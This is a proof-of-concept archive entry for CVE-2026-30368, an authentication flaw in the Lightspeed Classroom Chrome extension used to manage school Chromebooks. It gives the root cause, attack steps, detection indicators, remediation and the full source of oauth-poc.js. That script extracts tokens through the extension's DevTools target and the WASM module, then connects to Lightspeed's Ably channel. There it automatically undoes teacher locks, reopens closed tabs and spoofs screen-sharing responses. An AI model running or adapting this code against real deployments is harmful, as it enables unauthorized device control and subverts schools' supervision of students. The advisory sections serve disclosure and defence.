PoC Archive PoC Archive
High CVE-2026-30368 unpatched

Lightspeed Classroom Management Weak Authentication / Device Takeover — CVE-2026-30368

by truekas (PoC packaging); underlying research by incognitotgt · 2026-07-05

Severity
High
CVE
CVE-2026-30368
Category
web
Affected product
Lightspeed Classroom Management (Chrome extension for school device management)
Affected versions
Tested against extension build 5.1.2.1763770643 (now patched — vendor requires credentials, per repo)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchertruekas (PoC packaging); underlying research by incognitotgt
CVE / AdvisoryCVE-2026-30368
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagschrome-extension, wasm, jwt, ably, service-worker, education-technology, device-control, browser
RelatedN/A

Affected Target

FieldValue
Software / SystemLightspeed Classroom Management (Chrome extension for school device management)
Versions AffectedTested against extension build 5.1.2.1763770643 (now patched — vendor requires credentials, per repo)
Language / PlatformJavaScript / WebAssembly (Chrome extension service worker), Node.js (PoC runtime)
Authentication RequiredNo (prior to patch); patched version requires credentials
Network Access RequiredYes

Summary

Lightspeed Classroom Management is a Chrome extension used by schools to monitor and remotely control student Chromebooks. The extension’s service worker (running classroom.wasm) generates a JWT used to obtain a token for Lightspeed’s Ably real-time channel, which is the transport used to send remote commands to student devices. This PoC runs the extension’s service worker and WASM module outside the browser (in Node.js), intercepts and extracts the JWT it generates, exchanges it for an Ably channel token via the Lightspeed API, and then uses that channel to send arbitrary commands to a target student device — without ever needing legitimate district credentials at the time this was found. The vendor has since patched the flow to require credentials.

Workaround for the patched version

Because the vulnerability is now patched and requires credentials, the repository documents a workaround limited to performing actions against the researcher’s own account/device only.


Vulnerability Details

Root Cause

Weak/insufficient authentication binding between the extension’s locally-generated JWT (produced by classroom.wasm) and the actual authorization required to control a specific student device via the Ably real-time channel, allowing the token-issuance flow to be replayed/extracted outside its intended browser-extension context.

Attack Vector

  1. Extract worker.js, classroom.wasm, and manifest.json from a legitimately installed Lightspeed Classroom extension (from the Chrome profile’s extensions directory or via the extension update URL).
  2. Deobfuscate/unminify worker.js (e.g. via webcrack) and patch it to run under Node.js, adding hooks (valueCallBefore/valueCallAfter) to intercept calls the WASM runtime makes into the browser environment.
  3. Stub out chrome.runtime.getPlatformInfo, chrome.identity.getProfileUserInfo, and force IsClassroomActive() to always return true, allowing the worker to run outside a real Chromebook/campus network.
  4. Run wasm-loader.js/poc.js to execute the worker, extract the JWT it produces, then kill the worker and exchange the JWT with Lightspeed’s API for an Ably channel token (oauth-poc.js).
  5. Use the Ably channel token to send remote-control commands to the target student device (documented separately in the referenced write-up).

Impact

Unauthorized remote control of student Chromebook devices managed by Lightspeed Classroom, including arbitrary commands supported by the classroom-management channel protocol.


Environment / Lab Setup

Target:   A Lightspeed Classroom-managed Chromebook / district tenant (build 5.1.2.1763770643)
Attacker: Node.js, webcrack (deobfuscation), extracted worker.js + classroom.wasm + manifest.json
          (not included in this PoC — must be obtained from a legitimate extension install)

Proof of Concept

PoC Script

See poc.js, wasm-loader.js, wasm-only.js, oauth-poc.js, workers/run-worker.js, and autodiddy.html in this folder.

1
node wasm-only.js

wasm-only.js is the simplest entry point: it loads classroom.wasm directly and connects to the target’s Ably channel once given an email/customer ID. The full wasm-loader.js + patched worker.js path additionally extracts the JWT from the real extension service worker for use against arbitrary tenants.


Detection & Indicators of Compromise

Signs of compromise:

  • Classroom control commands received by student devices with no corresponding teacher-console session
  • Ably API token requests using extension-issued JWTs from non-standard client environments
  • Unexpected IsClassroomActive values or platform-info responses inconsistent with a real Chromebook

Remediation

ActionDetail
Primary fixVendor has patched the flow to require credentials (per source repository); ensure the Lightspeed extension is updated to the patched build
Interim mitigationRestrict distribution/extraction of the extension’s worker.js/classroom.wasm, and monitor Ably channel usage for anomalous client fingerprints

References


Notes

Mirrored from https://github.com/truekas/ls-poc on 2026-07-05. The upstream repository notes the flow is already patched by the vendor and now requires credentials; it documents a workaround limited to performing actions on the researcher’s own account/device, and does not include the proprietary worker.js/classroom.wasm/manifest.json files needed to run the full chain (partial-dependency PoC).

oauth-poc.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import Ably from 'ably';
import { getJwtFromWasm } from './wasm-only.js';

const devToolsUrl = `http://localhost:9222`;
const lsOneExtId = ''
const email = '';
const cId = '';
const apiKey = '';

let tabs = {};

function cdpSession(wsUrl) {
  return new Promise((resolve, reject) => {
    const ws = new WebSocket(wsUrl);
    let msgId = 1;
    const pending = new Map();

    ws.addEventListener('error', reject);
    ws.addEventListener('open', () => {
      const send = (method, params = {}) => new Promise((res, rej) => {
        const id = msgId++;
        pending.set(id, { res, rej });
        ws.send(JSON.stringify({ id, method, params }));
      });

      const close = () => ws.close();

      resolve({ send, close });
    });

    ws.addEventListener('message', ({ data }) => {
      const msg = JSON.parse(data);
      if (!msg.id) return;
      const p = pending.get(msg.id);
      if (!p) return;
      pending.delete(msg.id);
      if (msg.error) p.rej(new Error(msg.error.message));
      else p.res(msg.result);
    });
  });
}

async function evaluate(wsUrl, expression) {
  const { send, close } = await cdpSession(wsUrl);
  try {
    const result = await send('Runtime.evaluate', {
      expression,
      awaitPromise:   true,
      returnByValue:  true,
      timeout:        10000,
    });
    return result?.result?.value;
  } finally {
    close();
  }
}

const targets = await (await fetch(`${devToolsUrl}/json`)).json()
console.log(targets)
const ext = targets.find(e => e.url === `chrome-extension://${lsOneExtId}/worker.js`);
if (!ext) {
  console.error("Could not find LS one extension. Restart chrome and wait 15 seconds before trying again.")
  process.exit(1);
}
const wsUrl = ext.webSocketDebuggerUrl;

const tok = await evaluate(
  wsUrl,
  `new Promise((resolve, reject) => {
    chrome.identity.getAuthToken({ interactive: false }, (token) => {
        resolve(token);
    });
  })`
);
console.log(tok);
const jwt = await getJwtFromWasm({
  email,
  customerId: cId,
  ablyApiKey: apiKey,
  ablyUrl: "https://ably.lightspeedsystems.app/",
  apiUri: "https://devices.classroom.relay.school",
  telemetryHost: "agent-backend-api-production.lightspeedsystems.com",
  version: "5.2.1.1771081763",
});

console.log(jwt)
const res = await fetch(`https://ably.lightspeedsystems.app/auth-token?clientId=${encodeURIComponent(email)}&rnd=1721322822533904`, {
  headers: {
    "Accept": "application/json, text/plain",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept-Language": "en-US,en;q=0.9",
    "Content-Type": "application/json",
    exp: 10,
    jwt,
    Priority: 'u=1, i',
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": 'none',
    "Sec-Fetch-Storage-Access": "active",
    "User-Agent": "Mozilla/5.0 (X11; CrOS x86_64 16610.44.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.7727.115 Safari/537.36",
    "X-Api-Key": apiKey,
    "X-Google-Token": tok,
  }
});
console.log(res.status)

const realtime = new Ably.Realtime({
  authCallback: async (_, callback) => {
    callback(null, await res.text())
  },
  clientId: email,
  autoConnect: false,
  echoMessages: true,
  endpoint: "lightspeed",
  fallbackHosts: ["a-fallback-lightspeed.ably.io", "b-fallback-lightspeed.ably.io", "c-fallback-lightspeed.ably.io"],
})

const publish = (type, content) => {
  realtime.channels
    .get(`${cId}:${email}`)
    .publish(type, content);
};

realtime.connection.on('connecting', () => {
  console.log("ably connecting")
})

realtime.connection.on('connected', () => {
  console.log("ably connected ", realtime.connection.id, email)
})

realtime.connection.on('failed', (e) => {
  console.log("ably failed ", e)
})

realtime.connect();

const channel = realtime.channels.get(`${cId}:${email}`)

channel.subscribe((message) => {
  console.log(`[${message.name}]`, message.data);
});

channel.subscribe('tabs', m => {
  tabs = m.data;
});

channel.subscribe('lock', () => {
  console.log('unlocked')
  publish('unlock');
});

channel.subscribe('closeTab', m => {
  if (m.data.url) publish('url', m.data.url);
  else publish('url', tabs.find(t => t.id === m.data.tabId).url);
  console.log('reopened tab')
});

channel.subscribe('request_rtc', m => {
  publish('offer_rtc', {
    sessionId: m.data.sessionId,
    sdp: 'nice try lolz'
  });
  console.log('spoofing rtc')
})